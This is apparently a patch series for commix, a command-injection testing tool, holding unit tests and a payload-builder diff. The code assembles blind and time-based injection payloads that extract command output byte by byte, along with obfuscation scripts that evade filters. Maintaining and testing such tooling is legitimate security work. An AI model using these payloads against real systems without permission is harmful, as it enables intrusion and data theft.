"USE_BACKTICKS" in handle.read(): + stray.append(name) + self.assertEqual([], stray) + +# eof + +class WindowsTargets(unittest.TestCase): + """ + Stood in for rather than reached: nothing in this suite has a Windows target to ask, so what a + Windows payload must and must not be made of is pinned here instead. A POSIX construct reaching + 'cmd.exe' is the failure that has no target to catch it. + """ + POSIX_ONLY = ("$(", "${#", "od -A", "printf '%d'", "tail -c", "head -c", "sleep ", + "LC_ALL=C", "[ ", " -le ", " -eq ") + + def _windows(self, separator): + stage_exploitation(separator, target_os=settings.OS.WINDOWS) + settings.TARGET_OS = settings.OS.WINDOWS + settings.EXPLOITATION_PHASE = True + + def test_no_posix_construct_reaches_cmd_exe(self): + from src.core.techniques.boolean_based import bb_payloads + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + was = settings.TARGET_OS + try: + for separator in ("&", "&&", "|", "||"): + self._windows(separator) + settings.TIME_RELATED_ATTACK = False + built = [("bb.get_char", bb_payloads.get_char(separator, "ver", 2, 126)), + ("bb.get_length", bb_payloads.get_length(separator, "ver", 5))] + settings.TIME_RELATED_ATTACK = True + built += [("tb.get_char", tb_payloads.get_char(separator, "ver", 2, 126, 5, "GET")), + ("tfb.get_char", tfb_payloads.get_char(separator, "C:\\\\t.txt", 2, 126, 5, "GET"))] + for name, payload in built: + if not payload: + continue + for construct in self.POSIX_ONLY: + self.assertNotIn(construct, payload, + name + " under " + repr(separator) + " carries " + repr(construct)) + finally: + settings.TARGET_OS = was + + def test_the_character_is_compared_as_a_number(self): + """ + 'cmd.exe' compares strings by locale collation, so only a number can be bisected on - which is + what the PowerShell cast is for. + """ + from src.core.techniques.boolean_based import bb_payloads + was = settings.TARGET_OS + try: + self._windows("&") + settings.TIME_RELATED_ATTACK = False + payload = bb_payloads.get_char("&", "ver", 2, 126) + self.assertIn("[int][char]", payload) + self.assertTrue("GEQ" in payload or "EQU" in payload, "no numeric comparison") + finally: + settings.TARGET_OS = was + + def test_a_byte_read_back_is_still_unsigned_there(self): + """ + The reading a Windows target answers with is a .NET 'int' from a 'char', which is unsigned + already - so it needs no bringing back into range, and must not be given one. + """ + from src.core.techniques.boolean_based import bb_payloads + was = settings.TARGET_OS + try: + self._windows("&") + settings.TIME_RELATED_ATTACK = False + payload = bb_payloads.get_char("&", "ver", 2, 195) + self.assertNotIn("% 256", payload) + self.assertIn("195", payload) + finally: + settings.TARGET_OS = was + + +class OdIsAskedThePortableWay(unittest.TestCase): + """ + Stood in for as well: the byte counts are read with 'od', and the only 'od' this suite can run is + the one on the machine running it. What keeps the others answering is asking in the form POSIX + defines, so that is what is pinned - a busybox or BSD 'od' refuses a spelling only GNU accepts. + """ + # POSIX od: -A, -j, -N, -t, -v, with type specifiers a c d f o u x and an optional byte count. + POSIX_TYPES = tuple("acdfoux") + + def _invocations(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + found = [] + for where, _, names in os.walk(os.path.join(root, "src")): + if "thirdparty" in where.split(os.sep): + continue + for name in names: + if not name.endswith(".py"): + continue + with open(os.path.join(where, name)) as handle: + for line in handle: + # Everything the invocation is given, not just its first flag: the options are + # parted by operands ('-t u1'), which a run of flags alone stops at. + for match in re.finditer(r"\bod(\s+-[^\"']*)", line): + found.append((name, match.group(0))) + return found + + def test_the_scan_finds_the_invocations(self): + self.assertGreater(len(self._invocations()), 2, "nothing found to check") + + def test_every_option_is_one_posix_defines(self): + strayed = [] + for name, invocation in self._invocations(): + for flag in re.findall(r"-([A-Za-z])", invocation): + if flag not in ("A", "j", "N", "t", "v"): + strayed.append(name + ": " + invocation) + self.assertEqual([], strayed) + + def test_no_long_option_is_used(self): + """ + '--format' and friends are GNU's own; a busybox or BSD 'od' takes the short forms alone. + """ + for name, invocation in self._invocations(): + self.assertNotIn("--", invocation, name + ": " + invocation) + + def test_every_type_is_one_posix_defines(self): + strayed = [] + for name, invocation in self._invocations(): + for spec in re.findall(r"-t\s*([A-Za-z])", invocation): + if spec not in self.POSIX_TYPES: + strayed.append(name + ": " + invocation) + self.assertEqual([], strayed) + + def test_the_count_is_read_without_relying_on_its_padding(self): + """ + busybox pads a byte count to a narrower width than GNU does, so the reading is taken by word + splitting rather than by position - which a quoted substitution would take away. + """ + from src.core.techniques.boolean_based import bb_payloads + stage_exploitation(settings.PIPE_SEPARATOR) + settings.EXPLOITATION_PHASE = True + settings.BOOLEAN_PRINTED_STATE = False + payload = bb_payloads.get_char(settings.PIPE_SEPARATOR, "id", 2, 126) + self.assertIn("od -A n -t u1", payload) + self.assertNotIn("\"$(printf '%s'", payload.replace("\"$(printf '%s' \\\"", "")) + +# eof + +class ArithmeticIsOpenedOnce(unittest.TestCase): + """ + An arithmetic expansion holding another one is not parsed alike everywhere: a dash of the age + shipped with older distributions stops at the first '))' and calls the rest a syntax error. From + commix's side that is indistinguishable from a target that did not answer - the delay simply never + arrives - so every character comes back unread with nothing to say why. + """ + + def test_the_reading_has_a_form_that_goes_inside_one(self): + from src.core.controller import checks + term = checks.byte_ordinal_term("${X}") + self.assertTrue(term.startswith("("), term) + self.assertNotIn("$((", term) + # It is the same reading, only without an expansion of its own around it. + self.assertIn(term, checks.byte_ordinal("${X}")) + + def test_no_delay_is_scaled_by_a_nested_expansion(self): + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + nested = [] + for separator in SEPARATORS: + stage_exploitation(separator) + settings.EXPLOITATION_PHASE = True + settings.TIME_RELATED_ATTACK = True + for name, payload in (("tb.get_char", tb_payloads.get_char(separator, "id", 2, 126, 5, "GET")), + ("tb.get_length", tb_payloads.get_length(separator, "id", 1, 5, "GET")), + ("tfb.get_char", tfb_payloads.get_char(separator, "/tmp/f", 2, 126, 5, "GET"))): + if not payload: + continue + depth = 0 + index = 0 + while index < len(payload): + if payload.startswith("$((", index): + depth += 1 + if depth > 1: + nested.append(name + " under " + repr(separator)) + break + index += 3 + elif payload.startswith("))", index) and depth: + depth -= 1 + index += 2 + else: + index += 1 + self.assertEqual([], nested) + +# eof + +class BytesAreReadByByte(unittest.TestCase): + """ + A byte read off a file is read by byte position, not by character. 'cut -c' counts characters, + and in a UTF-8 locale it errors outright on a byte that is not valid UTF-8 - returning nothing + for every position at or after the first non-ASCII byte, which is exactly the output worth + reading. 'cut -b' counts bytes, and reads it in any locale. + """ + def _tfb_readers(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + path = os.path.join(root, "src", "core", "techniques", "tempfile_based", "tfb_payloads.py") + with open(path) as handle: + return [line for line in handle if "cut -" in line and "OUTPUT_TEXTFILE" in line] + + def test_the_file_is_indexed_by_byte(self): + readers = self._tfb_readers() + self.assertTrue(readers, "no byte reader found to check") + for line in readers: + self.assertIn("cut -b", line, "a file byte is read with 'cut -c': " + line.strip()[:70]) + self.assertNotIn("cut -c", line) + + @unittest.skipUnless(os.path.exists("/usr/bin/cut") or os.path.exists("/bin/cut"), "needs cut") + def test_cut_b_reads_a_high_byte_a_utf8_locale_rejects(self): + import subprocess, tempfile + with tempfile.NamedTemporaryFile(delete=False) as handle: + handle.write(b"x\xc3y") + name = handle.name + try: + environment = {"LC_ALL": "en_US.UTF-8", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + for position, expected in ((1, "120"), (2, "195"), (3, "121")): + got = subprocess.run("cut -b%d %s | LC_ALL=C od -An -tu1" % (position, name), + shell=True, env=environment, stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL).stdout.decode().split() + # The byte at the position, bar the newline 'cut' puts after it. + self.assertEqual(expected, got[0] if got else "none", "byte at position " + str(position)) + finally: + os.unlink(name) + +# eof + +class FileOracleLengthIsBytes(unittest.TestCase): + """ + The file oracle reads a character by byte position, so the length it searches has to be a byte + count too. A shell counting characters makes the two disagree on where the output ends, and the + trailing bytes of a non-ASCII output - counted as one character, read as two - go unread. + """ + SEPARATORS = (";", "&&", "\n", "\r\n") + + def _length_payload(self, separator): + stage_exploitation(separator) + settings.BOOLEAN_PRINTED_STATE = False + from src.core.techniques.tempfile_based import tfb_payloads + return tfb_payloads.oracle_get_length(separator, "/tmp/F.txt", 5) + + def test_the_length_is_counted_in_bytes(self): + for separator in self.SEPARATORS: + payload = self._length_payload(separator) + self.assertTrue(payload, "no length payload under " + repr(separator)) + self.assertIn(settings.BYTE_LOCALE, payload, + "length counted in the target's own locale under " + repr(separator)) + + def test_pinning_the_locale_adds_no_foreign_separator(self): + for separator in self.SEPARATORS: + payload = self._length_payload(separator) + used = set(payload) & set(";&|\n\r") + self.assertEqual(set(separator) & set(";&|\n\r"), used, + repr(separator) + " also uses " + str(sorted(used))) + + @unittest.skipUnless(os.path.exists("/bin/bash"), "needs bash for the character-counting case") + def test_a_non_ascii_length_is_counted_whole(self): + import subprocess, tempfile + # 'cafe' with an accent: four characters, five bytes - the reading needs the byte count. + with tempfile.NamedTemporaryFile(delete=False) as handle: + handle.write(b"caf\xc3\xa9\n") + name = handle.name + try: + environment = {"LC_ALL": "en_US.UTF-8", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + script = settings.BYTE_LOCALE + "; V=$(cat " + name + "); [ ${#V} -ge 5 ] && echo yes || echo no" + got = subprocess.run(["/bin/bash", "-c", script], env=environment, + stdout=subprocess.PIPE).stdout.decode().strip() + self.assertEqual("yes", got, "the fifth byte was not counted") + finally: + os.unlink(name) + +# eof diff --git a/tests/test_tamper.py b/tests/test_tamper.py index 35113d71a0..12dfa14d02 100644 --- a/tests/test_tamper.py +++ b/tests/test_tamper.py @@ -14,6 +14,7 @@ """ import os +import inspect import importlib import unittest @@ -25,10 +26,17 @@ # 'rev' reads from a pipe, and a filter stripping '|' has stripped '&' before it. "rev": ("&", "&&"), "randomcase": ("&", "&&"), - # 'od' reads a byte from its standard input alone; see the script's own notes. - "printf2echo": SEPARATORS, } +""" +A payload that measures its own output, as an extraction one does - the sweep's plain command gives +a script that only rewrites a measurement nothing to rewrite, and it passes by never acting. +""" +def _measuring_payload(separator, target_os): + stage(separator, target_os=target_os) + from src.core.techniques.time_based import tb_payloads + return tb_payloads.get_length(separator, "id", 1, 5, "GET") or stage(separator, target_os=target_os) + class TamperSeparators(unittest.TestCase): # 'xforwardedfor' rewrites the request's headers, not the payload, so it takes no payload at all. NOT_A_PAYLOAD_REWRITE = ("xforwardedfor",) @@ -61,15 +69,73 @@ def test_no_script_smuggles_an_unproved_separator(self): if not hasattr(module, "tamper"): continue for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): - payload = stage(separator, target_os=target_os) + # A script the loader would refuse cannot smuggle anything, so it is not asked to: this + # mirrors 'tamper_scripts()', which drops one whose dependencies() answers with a reason. + settings.TARGET_OS = target_os + if hasattr(module, "dependencies") and module.dependencies(): + continue + # Two shapes, because a script that rewrites one leaves the other untouched: a plain + # command, and one that measures its own output the way an extraction payload does. + for payload in (stage(separator, target_os=target_os), + _measuring_payload(separator, target_os)): + try: + tampered = module.tamper(payload) + except Exception: + continue + before, after = separators_in(payload), separators_in(tampered) + added = [_ for _ in after if after[_] > before[_] and _ != separator] + if added and separator not in SMUGGLES_BY_DESIGN.get(name, ()): + offenders.append(name + " adds " + ",".join(added) + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_the_pinned_locale_is_still_an_assignment_after_a_rewrite(self): + """ + Broken up between its letters the name is quoted, and a quoted name is a command name - so the locale a measuring payload pins would go unpinned. + """ + offenders = [] + for separator in (";", settings.END_LINE.LF): + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper"): + continue + settings.TARGET_OS = settings.OS.UNIX + if hasattr(module, "dependencies") and module.dependencies(): + continue + payload = _measuring_payload(separator, settings.OS.UNIX) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, payload, "nothing to pin under " + repr(separator)) + try: + tampered = module.tamper(payload) + except Exception: + continue + if settings.BYTE_LOCALE not in tampered or "export" not in tampered: + offenders.append(name + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_the_exported_pin_survives_a_rewrite_too(self): + """ + Through backticks the counting is a command of its own, so the pin is exported - and 'export' is a builtin no glob of the same length can stand in for. + """ + from src.core.techniques.time_based import tb_payloads + offenders = [] + try: + for separator in ("&", "&&"): + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper"): + continue + stage(separator) + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + settings.TARGET_OS = settings.OS.UNIX + if hasattr(module, "dependencies") and module.dependencies(): + continue + payload = tb_payloads.get_length(separator, "id", 4, 5, "GET") + self.assertIn(settings.BYTE_LOCALE_EXPORTED, payload, "nothing to pin under " + repr(separator)) try: tampered = module.tamper(payload) except Exception: continue - before, after = separators_in(payload), separators_in(tampered) - added = [_ for _ in after if after[_] > before[_] and _ != separator] - if added and separator not in SMUGGLES_BY_DESIGN.get(name, ()): - offenders.append(name + " adds " + ",".join(added) + " under " + repr(separator)) + if settings.BYTE_LOCALE not in tampered or "export" not in tampered: + offenders.append(name + " under " + repr(separator)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION self.assertEqual([], offenders) def test_fold_alone_carries_no_operator_at_all(self): @@ -146,7 +212,15 @@ def test_every_os_specific_script_guards_at_runtime(self): with open(os.path.join(directory, filename)) as script: source = script.read() start = source.find("def tamper(payload)") - if start != -1 and "TARGET_OS" not in source[start:]: + if start == -1: + continue + guarded = "TARGET_OS" in source[start:] + # A script that settles something before any payload is built keeps the guard in 'declare()' + # and calls it from 'tamper()', so the check is still made every time one is rewritten. + if not guarded and "declare()" in source[start:]: + declared = source.find("def declare():") + guarded = declared != -1 and "TARGET_OS" in source[declared:start] + if not guarded: unguarded.append(filename) self.assertEqual([], unguarded) @@ -201,3 +275,214 @@ def test_no_separator_leaves_the_command_untouched(self): if __name__ == "__main__": unittest.main() + +class Printf2Echo(unittest.TestCase): + """ + The script stands in for the reading an ordinal is taken with, so it has to go on matching the + shape that reading is written in - it once went on being selected, and accepted, long after the + payloads had stopped carrying the text it looked for, rewriting nothing at all. + """ + TARGETS = (("boolean_based.bb_payloads", lambda m, s: m.get_char(s, "id", 2, 126)), + ("tempfile_based.tfb_payloads", lambda m, s: m.get_char(s, "/tmp/f", 2, 126, 5, "GET"))) + + def _payloads(self, separator): + stage(separator) + for name, build in self.TARGETS: + module = importlib.import_module("src.core.techniques." + name) + settings.EXPLOITATION_PHASE = True + payload = build(module, separator) + if payload: + yield name, payload + + def _script(self): + from src.tamper.obfuscation.posix import printf2echo + return printf2echo + + def test_it_rewrites_the_reading_it_is_named_for(self): + rewritten = 0 + for separator in ("|", "||"): + for name, payload in self._payloads(separator): + if "printf '%d'" not in payload: + continue + tampered = self._script().tamper(payload) + self.assertNotEqual(payload, tampered, name + " under " + repr(separator)) + self.assertNotIn("printf '%d'", tampered) + self.assertIn("od -An -tuC", tampered) + rewritten += 1 + self.assertGreater(rewritten, 0, "nothing left for this script to rewrite - it is inert") + + def test_it_is_not_written_where_a_pipe_is_not_what_is_proving(self): + for separator in (";", "&", "&&", settings.END_LINE.LF): + for name, payload in self._payloads(separator): + self.assertEqual(payload, self._script().tamper(payload), + name + " rewritten under " + repr(separator)) + + def test_the_reading_it_leaves_behind_is_unsigned(self): + """ + 'od -tuC' answers 195 where the reading it replaces answers -61 on a shell signing its bytes, + so the arithmetic bringing that answer back into range goes out with the reading it corrected. + """ + for separator in ("|", "||"): + for name, payload in self._payloads(separator): + tampered = self._script().tamper(payload) + if tampered == payload: + continue + self.assertNotIn("% " + str(settings.HIGHEST_BYTE + 1), tampered) + +# eof + +class DeclaredBeforeTheFirstPayload(unittest.TestCase): + """ + A script that changes how a payload is put together, rather than how it reads, has to say so + before any payload is built. Said when it first rewrites one, the choice arrives a payload late: + the builders read it as they build, so the first payload of every boundary is put together the + old way - and that is the payload a target is first judged on. + """ + SETTLES = ("space2htab", "space2plus", "space2vtab", "space2ifs", "space2ifsraw", + "multiplespaces", "backticks") + + def _module(self, name): + modules = tamper_modules() + self.assertIn(name, modules, "no tamper script named " + name) + return modules[name] + + def test_every_construction_script_declares(self): + for name in self.SETTLES: + self.assertTrue(hasattr(self._module(name), "declare"), + name + " settles its choice only when it first rewrites a payload") + + def test_declaring_is_what_rewriting_would_have_done(self): + """ + The rewrite still calls it, so a choice that has to follow a target settled later still does. + """ + for name in self.SETTLES: + module = self._module(name) + source = inspect.getsource(module.tamper) + self.assertIn("declare()", source, name + " no longer calls its own declaration") + + def test_the_choice_lands_before_a_payload_is_built(self): + from src.tamper.whitespace.generic import space2htab + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + space2htab.declare() + self.assertNotEqual([settings.SINGLE_WHITESPACE], settings.WHITESPACES, + "declaring left the whitespace as it was") + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + + def test_settling_the_scripts_is_what_declares_them(self): + """ + The hook itself: a script selected for this run has its choice settled while the scripts are + being settled, with no payload rewritten in between. + """ + from src.core.controller import checks + from src.core.parse import cmdline as menu + was = (menu.options.tamper, list(settings.WHITESPACES), list(settings.MULTI_ENCODED_PAYLOAD)) + try: + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.tamper = "space2htab" + checks.tamper_scripts(stored_tamper_scripts=True) + self.assertNotEqual([settings.SINGLE_WHITESPACE], settings.WHITESPACES, + "settling the scripts did not settle what they choose") + finally: + menu.options.tamper, settings.WHITESPACES, settings.MULTI_ENCODED_PAYLOAD = ( + was[0], was[1], was[2]) + + def test_the_substitution_lands_before_a_payload_is_built(self): + from src.tamper.quoting.posix import backticks + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + try: + settings.TARGET_OS = settings.OS.UNIX + from src.core.parse import cmdline as menu + menu.options.interpreter = None + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + backticks.declare() + self.assertEqual(settings.BACKTICK_SUBSTITUTION, settings.CMD_SUB_PREFIX) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = was + +# eof + +class BackticksStayExpressible(unittest.TestCase): + """ + A backtick cannot hold another backtick, so a payload written with them has to carry none nested. + Where the substitution would have to nest, the builders keep a form that does not - and the parts + that are written as '$( )' outright stay that way, which is what keeps them correct rather than an + oversight: converted, 'printf %s "$(cmd)" | ...' would be a backtick inside a backtick. + """ + + def _payloads(self): + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.boolean_based import bb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + for separator in SEPARATORS: + stage(separator) + settings.EXPLOITATION_PHASE = True + settings.TIME_RELATED_ATTACK = True + yield "tb.get_char", separator, tb_payloads.get_char(separator, "id", 2, 126, 5, "GET") + yield "tb.get_length", separator, tb_payloads.get_length(separator, "id", 1, 5, "GET") + yield "tfb.get_char", separator, tfb_payloads.get_char(separator, "/tmp/f", 2, 126, 5, "GET") + settings.TIME_RELATED_ATTACK = False + yield "bb.get_char", separator, bb_payloads.get_char(separator, "id", 2, 126) + + @unittest.skipUnless(os.path.exists("/bin/sh"), "needs a POSIX shell") + def test_a_payload_answers_the_same_whichever_substitution_is_written(self): + """ + Counting backticks cannot tell nesting from adjacency - '`a``b`' and '`a`b``' read alike - so + the payload is asked instead. A backtick holding another answers nothing rather than erroring, + which is exactly the failure a textual check would miss. + """ + import subprocess + from src.core.techniques.boolean_based import bb_payloads + from src.tamper.quoting.posix import backticks + from src.core.parse import cmdline as menu + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + environment = {"LC_ALL": "C", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + + def answered(payload): + # The pipe forms read the output down the pipe, so the payload stands on its own. + body = payload.lstrip(settings.PIPE_SEPARATOR) + done = subprocess.run(["/bin/sh", "-c", "/bin/echo up" + settings.PIPE_SEPARATOR + body], + env=environment, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) + return done.returncode + + try: + menu.options.interpreter = None + settings.TARGET_OS = settings.OS.UNIX + for candidate, expected in ((126, 0), (196, 1)): + stage(settings.PIPE_SEPARATOR) + settings.EXPLOITATION_PHASE = True + settings.BOOLEAN_PRINTED_STATE = False + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + nesting = bb_payloads.get_char(settings.PIPE_SEPARATOR, "printf 'x\\303y'", 2, candidate) + backticks.declare() + quoted = bb_payloads.get_char(settings.PIPE_SEPARATOR, "printf 'x\\303y'", 2, candidate) + self.assertEqual(expected, answered(nesting), "the '$( )' form answered wrongly") + self.assertEqual(answered(nesting), answered(quoted), + "the two substitutions disagree at " + str(candidate)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = was + + def test_the_choice_is_withdrawn_where_it_stops_applying(self): + """ + The comment in the script anticipated this: a target settled as Windows after the script was + accepted would otherwise keep writing a backtick 'cmd.exe' has no meaning for. + """ + from src.tamper.quoting.posix import backticks + from src.core.parse import cmdline as menu + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS) + try: + menu.options.interpreter = None + settings.TARGET_OS = settings.OS.UNIX + backticks.declare() + self.assertEqual(settings.BACKTICK_SUBSTITUTION, settings.CMD_SUB_PREFIX) + settings.TARGET_OS = settings.OS.WINDOWS + backticks.declare() + self.assertEqual(settings.NESTING_SUBSTITUTION, + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX), + "the backtick was left standing for a target that has none") + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS = was + +# eof From bc4a4485b879e49b0b7385322d54146939e1a0cc Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 09:18:59 +0200 Subject: [PATCH 0933/1023] Fixed payload generation for certain separator and tamper script combinations, which could produce a payload the shell cannot run --- .../techniques/tempfile_based/tfb_payloads.py | 74 ++---------- src/core/techniques/time_based/tb_payloads.py | 105 +++--------------- src/utils/settings.py | 2 +- 3 files changed, 21 insertions(+), 160 deletions(-) diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index d5a8e43836..8e1296926b 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -124,7 +124,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(j) + " -ne $(printf '%s' \"" + TAG + "\"" + pipe + "tee " + OUTPUT_TEXTFILE + pipe + "wc -c) ]" + "||" + @@ -163,23 +163,7 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http payload = separator + tb_payloads._py_timed_comparison(timesec, j, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + - # Find the length of the output, using readline(). - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + - "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + ")\") " - ) - elif separator == "&": - payload = (separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + - "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + @@ -280,7 +264,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" cmd = cmd.rstrip() cmd = checks.add_command_substitution(cmd) @@ -322,23 +306,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, payload = separator + tb_payloads._py_timed_comparison(timesec, j, tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + separator + - # Find the length of the output, using readline(). - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) - elif separator == "&": - payload = (separator + - tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.SINGLE_WHITESPACE + - "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.SINGLE_WHITESPACE + @@ -406,7 +374,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " $(awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + ") ]" + "&&" + "sleep " + str(timesec) ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + " " + checks.byte_ordinal("$(cut -b" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")") + " ]" + "||" + @@ -442,21 +410,7 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\"" + settings.CMD_SUB_SUFFIX, arith_operator) - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - 